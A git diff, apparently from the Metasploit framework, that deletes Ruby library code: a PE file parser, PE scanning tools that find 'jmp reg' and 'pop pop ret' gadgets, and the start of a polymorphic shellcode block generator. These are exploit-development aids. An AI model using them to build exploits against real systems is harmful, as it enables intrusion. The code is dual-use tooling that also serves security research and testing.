we have the data directory, now lets parse it - # - - directory = IMAGE_EXPORT_DESCRIPTOR.make_struct - directory.from_s(_isource.read(rva_to_file_offset(rva), IMAGE_EXPORT_DESCRIPTOR_SIZE)) - - # - # We can have nameless exports, so we need to do the whole - # NumberOfFunctions NumberOfNames foo - # - num_functions = directory.v['NumberOfFunctions'] - num_names = directory.v['NumberOfNames'] - - dllname_rva = directory.v['Name'] - dllname = _isource.read_asciiz(rva_to_file_offset(dllname_rva)) - - # FIXME Base, etc - fun_off = rva_to_file_offset(directory.v['AddressOfFunctions']) - name_off = rva_to_file_offset(directory.v['AddressOfNames']) - ord_off = rva_to_file_offset(directory.v['AddressOfNameOrdinals']) - base = directory.v['Base'] - - # Allocate the list of names - names = Array.new(num_functions) - - # - # Iterate the names and name/ordinal list, getting the names - # and storing them in the name list... - # - num_names.times do |i| - name_rva = _isource.read(name_off + (i * 4), 4).unpack('V')[0] - ordinal = _isource.read(ord_off + (i * 2), 2).unpack('v')[0] - name = _isource.read_asciiz(rva_to_file_offset(name_rva)) - - # store the exported name in the name list - names[ordinal] = name - end - - exports = ExportDirectory.new(dllname, [ ], base) - - # - # Now just iterate the functions (rvas) list.. - # - num_functions.times do |i| - rva = _isource.read(fun_off + (i * 4), 4).unpack('V')[0] - - # ExportEntry.new(name, ordinal, rva) - exports.entries << ExportEntry.new(names[i], i + base, rva) - end - - return exports - end - - # - # Base relocations in the hizzy - # - def relocations - if !_relocations_cached - self._relocations_cache = _load_relocations - self._relocations_cached = true - end - return _relocations_cache - end - - def _load_relocations - - # - # Get the data directory entry, size, etc - # - exports_entry = _optional_header['DataDirectory'][5] - rva = exports_entry.v['VirtualAddress'] - size = exports_entry.v['Size'] - - return nil if size == 0 - - # - # Ok, so we have the data directory, now lets parse it - # - - dirdata = _isource.read(rva_to_file_offset(rva), size) - - relocdirs = [ ] - - while dirdata.length >= IMAGE_SIZEOF_BASE_RELOCATION - header = IMAGE_BASE_RELOCATION.make_struct - header.from_s(dirdata) - dirdata = header.leftover - - numrelocs = (header.v['SizeOfBlock'] - IMAGE_SIZEOF_BASE_RELOCATION) / 2 - - relocbase = header.v['VirtualAddress'] - - relocdir = RelocationDirectory.new(relocbase, [ ]) - - numrelocs.times do - reloc = IMAGE_BASE_RELOCATION_TYPE_OFFSET.make_struct - reloc.from_s(dirdata) - dirdata = reloc.leftover - - typeoffset = reloc.v['TypeOffset'] - - relocrva = relocbase + (typeoffset & 0xfff) - reloctype = (typeoffset >> 12) & 0xf - - relocdir.entries << RelocationEntry.new(relocrva, reloctype) - end - - relocdirs << relocdir - end - - return relocdirs - end - - - # - # We lazily parse the resources, and then cache them - # - def resources - if !_resources_cached - _load_resources - self._resources_cached = true - end - - return self._resources_cache - end - - def _load_resources - # - # Get the data directory entry, size, etc - # - rsrc_entry = _optional_header['DataDirectory'][IMAGE_DIRECTORY_ENTRY_RESOURCE] - rva = rsrc_entry.v['VirtualAddress'] - size = rsrc_entry.v['Size'] - - return nil if size == 0 - - # - # Ok, so we have the data directory, now lets parse it - # - data = _isource.read(rva_to_file_offset(rva), size) - - self._resources_cache = {} - _parse_resource_directory(data) - end - - def _parse_resource_directory(data, rname=0, rvalue=0x80000000, path='0', pname=nil) - - pname = _parse_resource_name(data, rname) - if (path.scan('/').length == 1) - if (pname !~ /^\d+/) - path = "/" + pname - else - path = "/" + _resource_lookup( (rname & ~0x80000000).to_s) - end - end - - - rvalue &= ~0x80000000 - vals = data[rvalue, 16].unpack('VVvvvv') - - chars = vals[0] - tdate = vals[1] - vers = "#{vals[2]}#{vals[3]}" - count = vals[4] + vals[5] - - 0.upto(count-1) do |i| - - ename, evalue = data[rvalue + 16 + ( i * 8), 8].unpack('VV') - epath = path + '/' + i.to_s - - if (ename & 0x80000000 != 0) - pname = _parse_resource_name(data, ename) - end - - if (evalue & 0x80000000 != 0) - # This is a subdirectory - _parse_resource_directory(data, ename, evalue, epath, pname) - else - # This is an entry - _parse_resource_entry(data, ename, evalue, epath, pname) - end - end - - end - - def _resource_lookup(i) - tbl = { - '1' => 'RT_CURSOR', - '2' => 'RT_BITMAP', - '3' => 'RT_ICON', - '4' => 'RT_MENU', - '5' => 'RT_DIALOG', - '6' => 'RT_STRING', - '7' => 'RT_FONTDIR', - '8' => 'RT_FONT', - '9' => 'RT_ACCELERATORS', - '10' => 'RT_RCDATA', - '11' => 'RT_MESSAGETABLE', - '12' => 'RT_GROUP_CURSOR', - '14' => 'RT_GROUP_ICON', - '16' => 'RT_VERSION', - '17' => 'RT_DLGINCLUDE', - '19' => 'RT_PLUGPLAY', - '20' => 'RT_VXD', - '21' => 'RT_ANICURSOR', - '22' => 'RT_ANIICON', - '23' => 'RT_HTML', - '24' => 'RT_MANIFEST', - '32767' => 'RT_ERROR', - '8192' => 'RT_NEWRESOURCE', - '8194' => 'RT_NEWBITMAP', - '8196' => 'RT_NEWMENU', - '8197' => 'RT_NEWDIALOG' - } - tbl[i] || i - end - - def _parse_resource_entry(data, rname, rvalue, path, pname) - - rva, size, code = data[rvalue, 12].unpack('VVV') - lang = _parse_resource_name(data, rname) - - ent = ResourceEntry.new( - self, - path, - lang, - code, - rva, - size, - pname - ) - self._resources_cache[path] = ent - end - - def _parse_resource_name(data, rname) - if (rname & 0x80000000 != 0) - rname &= ~0x80000000 - unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ] - unistr, trash = unistr.split(/\x00\x00/n, 2) - return unistr ? unistr.gsub(/\x00/n, '') : nil - end - - rname.to_s - end - - def update_checksum - off = _dos_header.e_lfanew + IMAGE_FILE_HEADER_SIZE + 0x40 - _isource.rawdata[off, 4] = [0].pack('V') - - rem = _isource.size % 4 - sum_me = '' - sum_me << _isource.rawdata - sum_me << "\x00" * (4 - rem) if rem > 0 - - cksum = 0 - sum_me.unpack('V*').each { |el| - cksum = (cksum & 0xffffffff) + (cksum >> 32) + el - if cksum > 2**32 - cksum = (cksum & 0xffffffff) + (cksum >> 32) - end - } - - cksum = (cksum & 0xffff) + (cksum >> 16) - cksum += (cksum >> 16) - cksum &= 0xffff - - cksum += _isource.size - - _isource.rawdata[off, 4] = [cksum].pack('V') - end - -end end end diff --git a/lib/rex/peparsey/section.rb b/lib/rex/peparsey/section.rb deleted file mode 100644 index ddf3968deb..0000000000 --- a/lib/rex/peparsey/section.rb +++ /dev/null @@ -1,128 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/peparsey/exceptions' -require 'rex/peparsey/pebase' -require 'rex/struct2' - -module Rex -module PeParsey -class Section - attr_accessor :_section_header, :_isource - attr_accessor :base_rva - - # - # Initialize a section. - # - # isource - The ImageSource class backing the image - # base_vma - The address of this section base - # section_header - The section header (struct2) although this is not - # required, which is why there is a base_vma. This can be nil. - # - def initialize(isource, base_rva, section_header = nil) - self._isource = isource - self.base_rva = base_rva - self._section_header = section_header - end - - def file_offset - _isource.file_offset - end - - def size - _isource.size - end - - def name - # a section header is not required - return nil if !_section_header - - # FIXME make this better... - _section_header.v['Name'].gsub(/\x00+$/n, '') - end - - def flags - # a section header is not required - return nil if !_section_header - _section_header.v['Characteristics'] - end - - def vma - # a section header is not required - return nil if !_section_header - _section_header.v['VirtualAddress'] - end - - def raw_size - # a section header is not required - return nil if !_section_header - _section_header.v['SizeOfRawData'] - end - - def _check_offset(offset, len = 1) - if offset < 0 || offset+len > size - raise BoundsError, "Offset #{offset} outside of section", caller - end - end - - def read(offset, len) - _check_offset(offset, len) - return _isource.read(offset, len) - end - - def read_rva(rva, len) - return read(rva_to_offset(rva), len) - end - - def read_asciiz(offset) - _check_offset(offset) - return _isource.read_asciiz(offset) - end - - def read_asciiz_rva(rva) - return read_asciiz(rva_to_offset(rva)) - end - - def index(*args) - _isource.index(*args) - end - - def offset_to_rva(offset) - if !contains_offset?(offset) - raise BoundsError, "Offset #{offset} outside of section", caller - end - - return offset + base_rva - end - - def file_offset_to_rva(foffset) - return offset_to_rva(foffset - file_offset) - end - - def rva_to_offset(rva) - offset = rva - base_rva - if !contains_offset?(offset) - raise BoundsError, "RVA #{rva} outside of section", caller - end - - return offset - end - - def rva_to_file_offset(rva) - return rva_to_offset(rva) + file_offset - end - - def contains_offset?(offset) - offset >= 0 && offset < size - end - - def contains_file_offset?(foffset) - contains_offset?(foffset - file_offset) - end - - def contains_rva?(rva) - contains_offset?(rva - base_rva) - end - -end - -end end diff --git a/lib/rex/pescan.rb b/lib/rex/pescan.rb deleted file mode 100644 index 5d38758c6d..0000000000 --- a/lib/rex/pescan.rb +++ /dev/null @@ -1,11 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module PeScan - -end -end - -require 'rex/pescan/analyze' -require 'rex/pescan/scanner' -require 'rex/pescan/search' diff --git a/lib/rex/pescan/analyze.rb b/lib/rex/pescan/analyze.rb deleted file mode 100644 index 46947d0db5..0000000000 --- a/lib/rex/pescan/analyze.rb +++ /dev/null @@ -1,366 +0,0 @@ -# -*- coding: binary -*- -module Rex -module PeScan -module Analyze - - require "rex/ui/text/table" - - class Fingerprint - attr_accessor :pe - - def initialize(pe) - self.pe = pe - end - - def config(param) - @sigs = {} - - name = nil - regx = '' - epon = 0 - sidx = 0 - - fd = File.open(param['database'], 'rb') - fd.each_line do |line| - case line - when /^\s*#/ - next - when /\[\s*(.*)\s*\]/ - if (name) - @sigs[ name ] = [regx, epon] - end - name = $1 + " [#{ sidx+=1 }]" - epon = 0 - next - when /signature\s*=\s*(.*)/ - pat = $1.strip - regx = '' - pat.split(/\s+/).each do |c| - next if c.length != 2 - regx << (c.index('?') ? '.' : "\\x#{c}") - end - when /ep_only\s*=\s*(.*)/ - epon = ($1 =~ /^T/i) ? 1 : 0 - end - end - - if (name and ! @sigs[name]) - @sigs[ name ] = [regx, epon] - end - - fd.close - end - - def scan(param) - config(param) - - epa = pe.hdr.opt.AddressOfEntryPoint - buf = pe.read_rva(epa, 256) || "" - - @sigs.each_pair do |name, data| - begin - if (buf.match(Regexp.new('^' + data[0], nil, 'n'))) - $stdout.puts param['file'] + ": " + name - end - rescue RegexpError - $stderr.puts "Invalid signature: #{name} #{data[0]}" - end - end - end - end - - class Information - attr_accessor :pe - - def initialize(pe) - self.pe = pe - end - - def add_fields(tbl, obj, fields) - fields.each do |name| - begin - tbl << [name, "0x%.8x" % obj.send(name)] - rescue ::NoMethodError => e - $stderr.puts "Invalid field #{name}" - end - end - end - - def scan(param) - - $stdout.puts "\n\n" - - tbl = table("Image Headers", ['Name', 'Value']) - add_fields(tbl, pe.hdr.file, %W{ - Characteristics - SizeOfOptionalHeader - PointerToSymbolTable - TimeDateStamp - NumberOfSections - Machine - }) - $stdout.puts tbl.to_s - $stdout.puts "\n\n" - - tbl = table("Optional Image Headers", ['Name', 'Value']) - add_fields(tbl, pe.hdr.opt, %W{ - ImageBase - Magic - MajorLinkerVersion - MinorLinkerVersion - SizeOfCode - SizeOfInitializeData - SizeOfUninitializeData - AddressOfEntryPoint - BaseOfCode - BaseOfData - SectionAlignment - FileAlignment - MajorOperatingSystemVersion - MinorOperatingSystemVersion - MajorImageVersion - MinorImageVersion - MajorSubsystemVersion - MinorSubsystemVersion - Win32VersionValue - SizeOfImage - SizeOfHeaders - CheckSum - Subsystem - DllCharacteristics - SizeOfStackReserve - SizeOfStackCommit - SizeOfHeapReserve - SizeOfHeapCommit - LoaderFlags - NumberOfRvaAndSizes - }) - - $stdout.puts tbl.to_s - $stdout.puts "\n\n" - - # Get DllCharacteristics (in Integer) - dllcharacteristics = pe.hdr.opt.struct[23].value - - if (dllcharacteristics > 0) - tbl = table("DllCharacteristics", ['Flag', 'Value']) - - # http://msdn.microsoft.com/en-us/library/ms680339(v=vs.85).aspx - traits = { - :ASLR => 'False', #IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE - :Integrity => 'False', #IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY - :NX => 'False', #IMAGE_DLLCHARACTERISTICS_NX_COMPAT - :Isolation => 'False', #IMAGE_DLLCHARACTERISTICS_NO_ISOLATION - :SEH => 'False', #IMAGE_DLLCHARACTERISTICS_NO_SEH - :Bind => 'False', #IMAGE_DLLCHARACTERISTICS_NO_BIND - :WDM => 'False', #IMAGE_DLLCHARACTERISTICS_WDM_DRIVER - :Terminal => 'False' #IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE - } - - # Convert integer to an bit array - c_bits = ("%32d" %dllcharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse - - # Check characteristics - traits[:ASLR] = 'True' if c_bits[6] == 1 #0x0040 - traits[:Integrity] = 'True' if c_bits[7] == 1 #0x0080 - traits[:NX] = 'True' if c_bits[8] == 1 #0x0100 - traits[:Isolation] = 'True' if c_bits[9] == 1 #0x0200 - traits[:SEH] = 'True' if c_bits[10] == 1 #0x0400 - traits[:Bind] = 'True' if c_bits[11] == 1 #0x0800 - traits[:WDM] = 'True' if c_bits[13] == 1 #2000 - traits[:Terminal] = 'True' if c_bits[15] == 1 #0x8000 - - # Putting results to table - traits.each do |trait_name, trait_value| - tbl << [trait_name, trait_value] - end - - $stdout.puts tbl.to_s - $stdout.puts "\n\n" - end - - if (pe.exports) - tbl = table("Exported Functions", ['Ordinal', 'Name', 'Address']) - pe.exports.entries.each do |ent| - tbl << [ent.ordinal, ent.name, "0x%.8x" % pe.rva_to_vma(ent.rva)] - end - $stdout.puts tbl.to_s - $stdout.puts "\n\n" - end - - # Rex::PeParsey::Pe doesn't seem to give us any offset information for each function, - # which makes it difficult to calculate the actual addresses for them. So instead we - # are using Metasm::COFF::ImportDirectory to do this task. The ability to see - # addresses is mainly for ROP. - if (pe.imports) - tbl = table("Imported Functions", ['Library', 'Address', 'Ordinal', 'Name']) - exefmt = Metasm::AutoExe.orshellcode{ Metasm.const_get('x86_64').new } - exe = exefmt.decode_file(pe._isource.file.path) - ibase = pe.image_base - exe_imports = exe.imports - exe_imports.each do |lib| - lib_name = lib.libname - ini_offset = lib.iat_p - func_table = lib.imports - offset = 0 - func_table.each do |func| - func_addr = "0x%08x" %(ibase + ini_offset + offset) - tbl << [lib_name, func_addr, func.hint, func.name] - offset += 4 - end - end - - $stdout.puts tbl.to_s - $stdout.puts "\n\n" - end - - if(pe.config) - tbl = table("Configuration Header", ['Name', 'Value']) - add_fields(tbl, pe.config, %W{ - Size - TimeDateStamp - MajorVersion - MinorVersion - GlobalFlagsClear - GlobalFlagsSet - CriticalSectionDefaultTimeout - DeCommitFreeBlockThreshold - DeCommitTotalFreeThreshold - LockPrefixTable - MaximumAllocationSize - VirtualMemoryThreshold - ProcessAffinityMask - ProcessHeapFlags - CSDVersion - Reserved1 - EditList - SecurityCookie - SEHandlerTable - SEHandlerCount - }) - $stdout.puts tbl.to_s - $stdout.puts "\n\n" - end - - - if(pe.resources) - tbl = table("Resources", ['ID', 'Language', 'Code Page', 'Size', 'Name']) - pe.resources.keys.sort.each do |rkey| - res = pe.resources[rkey] - tbl << [rkey, res.lang, res.code, res.size, res.file] - end - $stdout.puts tbl.to_s - $stdout.puts "\n\n" - end - - tbl = table("Section Header", ["Name", "VirtualAddress", "SizeOfRawData", "Characteristics"]) - pe.sections.each do |sec| - tbl << [ sec.name, *[sec.vma, sec.raw_size, sec.flags].map{|x| "0x%.8x" % x} ] - end - $stdout.puts tbl.to_s - $stdout.puts "\n\n" - - end - - def table(name, cols) - Rex::Ui::Text::Table.new( - 'Header' => name, - 'Columns' => cols - ) - end - end - - - class Ripper - - require "fileutils" - - attr_accessor :pe - - def initialize(pe) - self.pe = pe - end - - def scan(param) - dest = param['dir'] - - if (param['file']) - dest = File.join(dest, File.basename(param['file'])) - end - - ::FileUtils.mkdir_p(dest) - - pe.resources.keys.sort.each do |rkey| - res = pe.resources[rkey] - path = File.join(dest, rkey.split('/')[1] + '_' + res.file) - - fd = File.new(path, 'wb') - fd.write(res.data) - fd.close - end - end - end - - class ContextMapDumper - - attr_accessor :pe - - def initialize(pe) - self.pe = pe - end - - def scan(param) - dest = param['dir'] - path = '' - - ::FileUtils.mkdir_p(dest) - - if(not (param['dir'] and param['file'])) - $stderr.puts "No directory or file specified" - return - end - - if (param['file']) - path = File.join(dest, File.basename(param['file']) + ".map") - end - - fd = File.new(path, "wb") - pe.all_sections.each do |section| - - # Skip over known bad sections - next if section.name == ".data" - next if section.name == ".reloc" - - offset = 0 - while offset < section.size - byte = section.read(offset, 1)[0] - if byte != 0 - chunkbase = pe.rva_to_vma(section.base_rva) + offset - data = '' - while byte != 0 - data << byte - offset += 1 - byte = 0 - byte = section.read(offset, 1)[0] if offset < section.size - end - buff = nil - buff = [ 0x01, chunkbase, data.length, data].pack("CNNA*") if data.length > 0 - - fd.write(buff) if buff - end - offset += 1 - end - - end - - - fd.close - end - end - -# EOC - -end -end -end - diff --git a/lib/rex/pescan/scanner.rb b/lib/rex/pescan/scanner.rb deleted file mode 100644 index 4ff69f7bbe..0000000000 --- a/lib/rex/pescan/scanner.rb +++ /dev/null @@ -1,230 +0,0 @@ -# -*- coding: binary -*- -require 'metasm' - -module Rex -module PeScan -module Scanner - - class Generic - - attr_accessor :pe, :regex - - def initialize(pe) - self.pe = pe - end - - def config(param) - end - - def scan(param) - config(param) - - $stdout.puts "[#{param['file']}]" - pe.all_sections.each do |section| - hits = scan_section(section, param) - hits.each do |hit| - vma = pe.rva_to_vma(hit[0]) - - next if (param['filteraddr'] and [vma].pack("V").reverse !~ /#{param['filteraddr']}/) - - msg = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1] - $stdout.puts pe.ptr_s(vma) + " " + msg - if(param['disasm']) - #puts [msg].pack('H*').inspect - insns = [] - - msg.gsub!("; ", "\n") - if msg.include?("retn") - msg.gsub!("retn", "ret") - end - #puts msg - begin - d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, msg).disassemble - rescue Metasm::ParseError - d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [msg].pack('H*')) - end - addr = 0 - while ((di = d2.disassemble_instruction(addr))) - insns << di.instruction - disasm = "0x%08x\t" % (vma + addr) - disasm << di.instruction.to_s - $stdout.puts disasm - addr = di.next_addr - end -# ::Rex::Assembly::Nasm.disassemble([msg].pack("H*")).split("\n").each do |line| -# $stdout.puts "\tnasm: #{line.strip}" - #end - end - end - end - end - - def scan_section(section, param={}) - [] - end - end - - class JmpRegScanner < Generic - - def config(param) - regnums = param['args'] - - # build a list of the call bytes - calls = _build_byte_list(0xd0, regnums - [4]) # note call esp's don't work.. - jmps = _build_byte_list(0xe0, regnums) - pushs1 = _build_byte_list(0x50, regnums) - pushs2 = _build_byte_list(0xf0, regnums) - - regexstr = '(' - if !calls.empty? - regexstr += "\xff[#{calls}]|" - end - - regexstr += "\xff[#{jmps}]|([#{pushs1}]|\xff[#{pushs2}])(\xc3|\xc2..))" - - self.regex = Regexp.new(regexstr, nil, 'n') - end - - # build a list for regex of the possible bytes, based on a base - # byte and a list of register numbers.. - def _build_byte_list(base, regnums) - regnums.collect { |regnum| Regexp.escape((base | regnum).chr) }.join('') - end - - def _ret_size(section, index) - d = section.read(index, 1) - case d - when "\xc3" - return 1 - when "\xc2" - return 3 - end - - raise RuntimeError, "invalid return opcode" - end - - def _parse_ret(data) - if data.length == 1 - return "ret" - else - return "retn 0x%04x" % data[1, 2].unpack('v')[0] - end - end - - - def scan_section(section, param={}) - index = 0 - - hits = [ ] - - while (index = section.index(regex, index)) != nil - rva = section.offset_to_rva(index) - message = '' - - parse_ret = false - - byte1 = section.read(index, 1).unpack("C*")[0] - - if byte1 == 0xff - byte2 = section.read(index+1, 1).unpack("C*")[0] - regname = Rex::Arch::X86.reg_name32(byte2 & 0x7) - - case byte2 & 0xf8 - when 0xd0 - message = "call #{regname}" - index += 2 - when 0xe0 - message = "jmp #{regname}" - index += 2 - when 0xf0 - retsize = _ret_size(section, index+2) - message = "push #{regname}; " + _parse_ret(section.read(index+2, retsize)) - index += 2 + retsize - else - raise "wtf" - end - else - regname = Rex::Arch::X86.reg_name32(byte1 & 0x7) - retsize = _ret_size(section, index+1) - message = "push #{regname}; " + _parse_ret(section.read(index+1, retsize)) - index += 1 + retsize - end - - hits << [ rva, message ] - end - - return hits - end - end - - class PopPopRetScanner < JmpRegScanner - - def config(param) - pops = _build_byte_list(0x58, (0 .. 7).to_a - [4]) # we don't want pop esp's... - self.regex = Regexp.new("[#{pops}][#{pops}](\xc3|\xc2..)", nil, 'n') - end - - def scan_section(section, param={}) - - index = 0 - - hits = [ ] - - while index < section.size && (index = section.index(regex, index)) != nil - rva = section.offset_to_rva(index) - message = '' - - pops = section.read(index, 2) - reg1 = Rex::Arch::X86.reg_name32(pops[0,1].unpack("C*")[0] & 0x7) - reg2 = Rex::Arch::X86.reg_name32(pops[1,1].unpack("C*")[0] & 0x7) - - message = "pop #{reg1}; pop #{reg2}; " - - retsize = _ret_size(section, index+2) - message += _parse_ret(section.read(index+2, retsize)) - - index += 2 + retsize - - hits << [ rva, message ] - end - - return hits - end - end - - class RegexScanner < Generic - - def config(param) - self.regex = Regexp.new(param['args'], nil, 'n') - end - - def scan_section(section, param={}) - index = 0 - - hits = [ ] - - while index < section.size && (index = section.index(regex, index)) != nil - - idx = index - buf = '' - mat = nil - - while (! (mat = buf.match(regex))) - buf << section.read(idx, 1) - idx += 1 - end - - rva = section.offset_to_rva(index) - - hits << [ rva, buf.unpack("H*") ] - index += buf.length - end - - return hits - end - end - -end -end -end - diff --git a/lib/rex/pescan/search.rb b/lib/rex/pescan/search.rb deleted file mode 100644 index 2e415731ec..0000000000 --- a/lib/rex/pescan/search.rb +++ /dev/null @@ -1,68 +0,0 @@ -# -*- coding: binary -*- -module Rex -module PeScan -module Search - - require "rex/assembly/nasm" - - class DumpRVA - attr_accessor :pe - - def initialize(pe) - self.pe = pe - end - - def config(param) - @address = pe.vma_to_rva(param['args']) - end - - def scan(param) - config(param) - - $stdout.puts "[#{param['file']}]" - - # Adjust based on -A and -B flags - pre = param['before'] || 0 - suf = param['after'] || 16 - - @address -= pre - @address = 0 if (@address < 0 || ! @address) - - begin - buf = pe.read_rva(@address, suf) - rescue ::Rex::PeParsey::PeParseyError - return - end - - $stdout.puts pe.ptr_s(pe.rva_to_vma(@address)) + " " + buf.unpack("H*")[0] - if(param['disasm']) - insns = [] - buf.gsub!("; ", "\n") - if buf.include?("retn") - buf.gsub!("retn", "ret") - end - d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, buf) - addr = 0 - while ((di = d2.disassemble_instruction(addr))) - insns << di.instruction - disasm = "0x%08x\t" % (pe.rva_to_vma(@address) + addr) - disasm << di.instruction.to_s - $stdout.puts disasm - addr = di.next_addr - end - end - - end - end - - class DumpOffset < DumpRVA - def config(param) - begin - @address = pe.file_offset_to_rva(param['args']) - rescue Rex::PeParsey::BoundsError - end - end - end -end -end -end diff --git a/lib/rex/platforms.rb b/lib/rex/platforms.rb deleted file mode 100644 index c6d29dfc7f..0000000000 --- a/lib/rex/platforms.rb +++ /dev/null @@ -1,2 +0,0 @@ -# -*- coding: binary -*- -require 'rex/platforms/windows' diff --git a/lib/rex/platforms/windows.rb b/lib/rex/platforms/windows.rb deleted file mode 100644 index 86e877f1c4..0000000000 --- a/lib/rex/platforms/windows.rb +++ /dev/null @@ -1,52 +0,0 @@ -# -*- coding: binary -*- -module Rex -module Platforms -module Windows - - - -# -# Windows Registry Constants -# - REG_NONE = 1 - REG_SZ = 1 - REG_EXPAND_SZ = 2 - REG_BINARY = 3 - REG_DWORD = 4 - REG_LITTLE_ENDIAN = 4 - REG_BIG_ENDIAN = 5 - REG_LINK = 6 - REG_MULTI_SZ = 7 - - HKEY_CLASSES_ROOT = 0x80000000 - HKEY_CURRENT_USER = 0x80000001 - HKEY_LOCAL_MACHINE = 0x80000002 - HKEY_USERS = 0x80000003 - HKEY_PERFORMANCE_DATA = 0x80000004 - HKEY_CURRENT_CONFIG = 0x80000005 - HKEY_DYN_DATA = 0x80000006 - - def registry_hive_lookup(hive) - case hive - when 'HKCR' - HKEY_LOCAL_MACHINE - when 'HKCU' - HKEY_CURRENT_USER - when 'HKLM' - HKEY_LOCAL_MACHINE - when 'HKU' - HKEY_USERS - when 'HKPD' - HKEY_PERFORMANCE_DATA - when 'HKCC' - HKEY_CURRENT_CONFIG - when 'HKDD' - HKEY_DYN_DATA - else - HKEY_LOCAL_MACHINE - end - end - -end -end -end diff --git a/lib/rex/poly.rb b/lib/rex/poly.rb deleted file mode 100644 index 7e780a232a..0000000000 --- a/lib/rex/poly.rb +++ /dev/null @@ -1,134 +0,0 @@ -# -*- coding: binary -*- -module Rex -module Poly - -require 'rex/poly/register' -require 'rex/poly/block' -require 'rex/poly/machine' - -### -# -# This class encapsulates the state of a single polymorphic block set -# generation. It tracks the current set of consumed registers, the linear -# list of blocks generated, the end-result buffer, and the phase of -# generation. The fields exposed by the State class are intended for use only -# by the polymorphic generation subsystem and should not be modified directly. -# -### -class State - - # - # Initializes the polymorphic generation state. - # - def initialize - @block_list = nil - reset - end - - # - # Resets the generation state to have a plain start by clearing all - # consumed registers, resetting the polymorphic buffer back to its - # beginning and destroying any block generation state. - # - def reset - # Reset the generation flag on any blocks in the block list - @block_list.each { |block| - block[0].generated = false - } if (@block_list) - - @regnums = Hash.new - @buffer = '' - @block_list = [] - @curr_offset = 0 - @first_phase = true - @badchars = nil - end - - # - # Returns true if the supplied register number is already consumed. - # - def consumed_regnum?(regnum) - @regnums[regnum] - end - - # - # Consumes a register number, thus removing it from the pool that can be - # assigned. The consumed register number is returned to the caller. - # - def consume_regnum(regnum) - raise RuntimeError, "Register #{regnum} is already consumed." if (consumed_regnum?(regnum)) - - @regnums[regnum] = true - - regnum - end - - # - # Acquires a register number that has not already been consumed from the - # supplied register number set and consumes it, returning the selected - # register number to the caller. The register number is selected from the - # set at random. - # - def consume_regnum_from_set(regnum_set) - # Pick a random starting point within the supplied set. - idx = rand(regnum_set.length) - - # Try each index in the set. - regnum_set.length.times { |x| - regnum = regnum_set[(idx + x) % regnum_set.length] - - next if (consumed_regnum?(regnum)) - - return consume_regnum(regnum) - } - - # If we get through the entire iteration without finding a register, - # then we are out of registers to assign. - raise RuntimeError, "No registers are available to consume from the set" - end - - # - # Eliminates a register number from the consumed pool so that it can be - # used in the future. This happens after a block indicates that a register - # has been clobbered. - # - def defecate_regnum(regnum) - @regnums.delete(regnum) - end - - # - # The buffer state for the current polymorphic generation. This stores the - # end-result of a call to generate on a LogicalBlock. - # - attr_accessor :buffer - - # - # The linear list of blocks that is generated by calling the generate - # method on a LogicalBlock. - # - attr_accessor :block_list - - # - # The current offset into the polymorphic buffer that is being generated. - # This is updated as blocks are appended to the block_list. - # - attr_accessor :curr_offset - - # - # A boolean field that is used by the LogicalBlock class to track whether - # or not it is in the first phase (generating the block list), or in the - # second phase (generating the polymorphic buffer). This phases are used - # to indicate whether or not the offset_of and regnum_of methods will - # return actual results. - # - attr_accessor :first_phase - - # - # Characters to avoid when selecting permutations, if any. - # - attr_accessor :badchars - -end - -end -end diff --git a/lib/rex/poly/block.rb b/lib/rex/poly/block.rb deleted file mode 100644 index 88955ccd2c..0000000000 --- a/lib/rex/poly/block.rb +++ /dev/null @@ -1,480 +0,0 @@ -# -*- coding: binary -*- -module Rex -module Poly - -### -# -# This class encapsulates a LogicalBlock permutation. Block permutations can -# take the form of a static string or a procedure. This makes it possible to -# have simple blocks and more complicated ones that take into account other -# variables, such as dynamic registers. The to_s method will return the -# string version of the permutation, regardless of whether or not the -# underlying permutation is a string or a procedure. -# -### -class Permutation - - # - # Initializes the permutation and its associated block. - # - def initialize(perm, block) - @perm = perm - @block = block - end - - # - # Returns the length of the string returned by to_s. - # - def length - to_s.length - end - - # - # Returns the string representation of the permutation. If the underlying - # permutation is a procedure, the procedure is called. Otherwise, the - # string representation of the permutation is returned. - # - def to_s - if (@perm.kind_of?(Proc)) - @perm.call(@block).to_s - else - @perm.to_s - end - end - - attr_reader :perm - -end - -### -# -# This class represents a logical block which is defined as a concise portion -# of code that may have one or more functionally equivalent implementations. -# A logical block should serve a very specific purpose, and any permutations -# beyond the first should result in exactly the same functionality without any -# adverse side effects to other blocks. -# -# Like blocks of code, LogicalBlock's can depend on one another in terms of -# ordering and precedence. By marking blocks as dependent on another, a -# hierarchy begins to form. This is a block dependency graph. -# -# To add permutations to a LogicalBlock, they can either be passed in as a -# list of arguments to the constructor following the blocks name or can be -# added on the fly by calling the add_perm method. To get a random -# permutation, the rand_perm method can be called. -# -# To mark one block as depending on another, the depends_on method can be -# called with zero or more LogicalBlock instances as parameters. -# -### -class LogicalBlock - - # - # Initializes the logical block's name along with zero or more specific - # blocks. - # - def initialize(name, *perms) - @name = name - - reset - - add_perm(*perms) - end - - # - # Resets the block back to its starting point. - # - def reset - @perms = [] - @depends = [] - @next_blocks = [] - @clobbers = [] - @offset = nil - @state = nil - @once = false - @references = 0 - @used_references = 0 - @generated = false - end - - # - # Returns the block's name. - # - def name - @name - end - - # - # Flags whether or not the block should only be generated once. This can - # be used to mark a blog as being depended upon by multiple blocks, but - # making it such that it is only generated once. - # - def once=(tf) - @once = tf - end - - # - # Returns true if this block is a 'once' block. That is, this block is - # dependend upon by multiple blocks but should only be generated once. - # - def once - @once - end - - # - # Increments the number of blocks that depend on this block. - # - # @see #deref - def ref - @references += 1 - end - - # - # Increments the number of blocks that have completed their dependency - # pass on this block. This number should never become higher than the - # `@references` attribute. - # - # @see #ref - def deref - @used_references += 1 - end - - # - # Returns true if there is only one block reference remaining. - # - def last_reference? - (@references - @used_references <= 0) - end - - # - # Adds zero or more specific permutations that may be represented either as - # strings or as Proc's to be called at evaluation time. - # - def add_perm(*perms) - @perms.concat(perms) - end - - # - # Returns a random permutation that is encapsulated in a Permutation class - # 